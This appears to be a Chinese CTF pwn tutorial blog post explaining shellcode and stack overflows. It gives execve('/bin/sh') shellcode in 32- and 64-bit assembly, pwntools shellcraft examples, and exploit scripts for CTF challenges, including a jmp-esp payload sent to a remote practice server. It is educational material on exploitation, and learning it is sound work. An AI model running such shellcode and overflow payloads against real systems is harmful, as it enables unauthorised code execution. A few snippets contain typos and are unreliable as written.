pwn入门-shellcode详解
shellcode详解
shellcode通常是软件漏洞利用过程中使用一小段机器代码
作用:
- 启动shell,进行交互
- 打开服务器端口等待连接
- 反向连接端口
- …
shellcode:
1 2 3 4 5 6 7 8
| #include "stdlib.h" #include "unistd.h"
void main(){ system("/bin/sh"); exit(0); }
|

gdb shell

r n
我们并不知道system的地址
第一,直接生成的shell代码比较大

第二,不能调用系统函数
触发中断(int 0x80或者syscall),进行系统调用。
system(“/bin/sh”)底层是调用execve(“/bin/sh”,0,0)
完整的syscall调用表:https://publicki.top/syscall.html

32位shellcode编写
设置ebx指向/bin/sh
ecx=0,edx=0
eax=0xb
lnt0x80触发中断调用
1 2 3 4 5 6 7 8 9 10 11 12
| ;;nasm -f elf32 i386.asm ;;ld -m elf_i386 -o i386 i386.o ;;objdump -d i386 global _start _start: push "/sh" push "/bin" mov ebx, esp;;ebx="/bin/sh" xor edx, edx;;edx=0 xor ecx, ecx;;ecx=0 mov al, 0xb;;设置al=0xb int 0x80
|
64位:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ;;nasm -f elf64 x64.asm ;;ld -m elf_x86_64 -o x64 x64.o ;;objdump -d x64 global _start _start: mov rbx, '/bin/sh' push rbx push rsp pop rdi xor esi, esi xor edx, edx push 0x3b pop rax syscall
|



1 2 3 4 5
| push "/sh" ; 将字符串 "/sh" 压入栈中 push "/bin" ; 将字符串 "/bin" 压入栈中 mov ebx, esp ; 将栈指针 esp(当前指向 "/bin/sh" 字符串)赋值给 ebx xor edx, edx ; 将 edx 清零 xor ecx, ecx ; 将 ecx 清零
|
在 execve 系统调用中:
1
| int execve(const char *filename, char *const argv[], char *const envp[]);
|
filename(对应 ebx):要执行的程序路径
argv(对应 ecx):参数列表
envp(对应 edx):环境变量
1
| mov al, 0xb ; 将 al 设置为 0xb (syscall号)
|
int 0x80 ; 触发中断,调用内核执行系统调用
当程序执行 int 0x80 时,CPU 切换到内核态,并将控制权交给内核中的系统调用处理程序。
eax 中的值决定了要调用哪个系统调用。
在这段代码中:eax = 0xb → 调用 execve 系统调用。
自己写的不能输入00字符
快速生成shellcode
使用pwntools快速生成对应架构的shellcode
设置目标架构
生成shellcode
32位:
1 2 3
| from pwn import* context(log_level = 'debug', arch = 'i386', os = 'linux') shellcode=asm(shellcraft.sh())
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| /* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push b'/bin///sh\x00' */ push 0x68 push 0x732f2f2f push 0x6e69622f mov ebx, esp /* push argument array ['sh\x00'] */ /* push 'sh\x00\x00' */ push 0x1010101 xor dword ptr [esp], 0x1016972 xor ecx, ecx push ecx /* null terminate */ push 4 pop ecx add ecx, esp push ecx /* 'sh\x00' */ mov ecx, esp xor edx, edx /* call execve() */ push 11 /* 0xb */ pop eax int 0x80
|


64位:
1 2 3
| from pwn import* context(log_level = 'debug', arch = ‘amd64', os = 'linux') shellcode=asm(shellcraft.sh())
|
例题mrctf2020_shellcode
查看保护

查看哪些段是可读可写可执行,先调试


IDA打开

read上面的三个mov是进行输入,buf长度,400h,然后和0进行比较,如果小于等于0退出,退出,把地址给rax,然后call rax。
反编译器在静态分析时,无法确定 rax 中的值,因此不知道程序将跳转到哪里。
所以反编译失败
程序逻辑
- 向buf读取0x400字节内容
- 并调用执行读入的内容
把shellcode读入栈直接执行,两种方案,第一种直接手写,第二种用生成的
直接下断点:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * context(os = 'linux',arch = 'amd64',terminal = ['tmux', 'sp', '-h']) p = process('./mrctf2020_shellcode')
shellcode1 = shellcraft.sh() payload1 = asm(shellcode1)
shellcode2 = ''' mov rbx, 0x68732f6e69622f push rbx push rsp pop rdi xor esi, esi xor edx, edx push 0x3b pop rax syscall ''' payload2 =asm(shellcode2)
p.send(payload1) p.interactive()
|
手写的payload不用p.interactive(),因为在 pwntools 中,p.interactive() 是一个非常重要的方法,用于将当前的程序与用户进行交互,让你可以像在终端中直接操作目标程序一样进行输入和输出,我们手写的那个已经实现了这个功能
执行
这里需要安装tumx

1 2 3 4 5 6 7 8
| from pwn import *
p = process('./vulnerable_program') payload = b"A" * 40 + b"\x90" * 16 + asm(shellcraft.sh()) p.sendline(payload)
p.interactive()
|
- 向程序发送一个包含 Shellcode 的 Payload。
- 如果漏洞被成功利用,程序将打开一个 Shell。
p.interactive() 允许你直接在 Shell 中输入命令
断点之前是下在了11dd这个位置

b *(0x5cb081ff3000+0x11dd)
然后c
切换窗口一直搞不明白ctrl+b然后再输入左右键,需要熟练
左边输入p.send(payload1)
s单步跟入

执行到断点退出

能获得系统调度
例题ciscn_2019_s_9


这里没有直接调用shellcode 使用jmp esp能直接跳转到栈执行,输入一段shellcode,再将Return地址覆盖位jmp esp,离栈顶8h,栈底20h,总长32,加上返回地址长36
(建议先看栈溢出下面就懂了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * from LibcSearcher import* context(log_level = 'debug')
io = remote("node4.buuoj.cn",26971)
elf =ELF('./ciscn_s_9') jmp_esp = 0x08048554 shellcode = """ xor eax,eax xor edx,edx push edx push 0x68732f2f push 0x6e69622f mov ebx,esp xor ecx,ecx mov al,0xb int 0x80 """ shellcode=asm(shellcode) payload = shellcode.ljust(0x24,'a')+p32(jmp_esp)+asm('sub esp,0x28;call esp')
io.sendline(payload) io.interactive()
|
栈溢出
栈溢出常发生在局部变量中,栈是高地址向低地址延申的,而局部变量又是低地址向高地址延伸的,如果没控制输入长度的话,可以覆盖返回地址

缓冲区溢出(Buffer overflow)
编写程序时没有考虑到控制或者错误控制用户输入的长度,本质就是向定长的缓冲区中写入了超长的数据,造成超出的数据覆写了合法内存区域
栈溢出(Stack overflow)最常见、漏洞比例最高、危害最大的二进制漏洞。在CTF PWN中往往是漏洞利用的基础
堆溢出(Heap overflow)堆管理器复杂,利用花样繁多
CTF PWN中的常见题型,Data段溢出(比如bss段,比较少见)攻击效果依赖于Data段上存放了何种控制数据

例题
没找到例题文件,直接贴个代码吧
1 2 3 4 5 6 7
| from pwn import * p=process("./overflow") backdoor=0x400677 payload='a*0x18+p64(backdoor) p.recvuntil("Your suggestion:\n") # 直到这条语句输出后 p.sendline(payload) p.interactive()
|
也可以用senlineafter代替5和6行
脚本解释补充
sendline = send +换行
recvuntil 直到这条语句输出后
p.interactive()取得交互shell
sendafter,接收xx之后再send
b’a*0x18+p64(backdoor)建议都加b
栈溢出补充
来自B站国资社畜栈溢出(一)
返回地址:


注意要看右边然后si

- 看返回地址:0x8049182
- 普通运算
- 生成一个20长度的字符
aaaabaaacaaadaaaeaaa
返回地址被覆盖

由于不能直接输入不可见字符,得用py去打
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import * context(log_level='debug',arch='i386', os='linux') pwnfile= './question_4_1_x86' io = process(pwnfile)
elf = ELF(pwnfile) rop = ROP(pwnfile)
padding = 0x14
gdb.attach(io) pause()
return_addr = 0x08049182 payload = b'a'*padding + p32(return_addr)
delimiter = 'input:' io.sendlineafter(delimiter, payload) io.interactive()
|